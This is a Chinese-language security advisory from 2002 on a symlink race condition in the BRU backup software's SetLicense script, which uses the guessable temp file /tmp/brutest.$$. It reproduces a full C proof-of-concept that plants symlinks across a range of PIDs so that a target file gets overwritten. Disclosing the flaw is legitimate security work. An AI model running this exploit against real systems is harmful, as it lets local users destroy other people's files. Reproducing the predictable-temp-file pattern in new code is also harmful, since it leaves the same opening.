BRU SetLicense 脚本不安全临时文件建立漏洞发布时间:2002-01-31 更新时间:2002-01-31 严重程度:中 威胁程度:本地拒绝服务 错误类型:竞争条件 利用方式:服务器模式 BUGTRAQ ID:3970 受影响系统 Tolis Group BRU 17.0 Linux详细描述 BRU 是一款商业备份软件,可用于多种操作系统。 当BRU脚本执行时,它会不安全的建立临时文件,BRU使用简单的可猜测的临时 文件名/tmp/brutest.$$,其中$$是执行SHELL的进程ID,程序同时没有检查相同 文件名是否存在,这样就可以导致本地用户通过符号连接进行攻击,造成目标 文件被覆盖破坏。 测试代码 /* symace.c -0.0.1 - A generic filesystem symlink/race thinger */ #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> /* Please note that there is no error checking... */ /* By Andrew Griffiths (nullptr@tasmail.com) */ int main(int argc, char **argv) { char *overwrite; char *base; int start_pid, end_pid; int i, size; overwrite = strdup(argv[1]); size = strlen(argv[2]) + 8 + 1; base = malloc(size); start_pid=atoi(argv[3]); end_pid=atoi(argv[4]); for(i=start_pid;i<end_pid;i++) { memset(base, 0, size-1); snprintf(base, size-1, "%s%d", argv[2], i); if(symlink(overwrite, base)==-1) { printf("Unable to create %s bailing\n", base); exit(EXIT_FAILURE); } } printf("done\n"); } 解决方案 尚无 相关信息 Andrew Griffiths <andrewg@tasmail.com> 参考:http://www.securityfocus.com/archive/1/252614 相关主页:http://www.tolisgroup.com/main.html |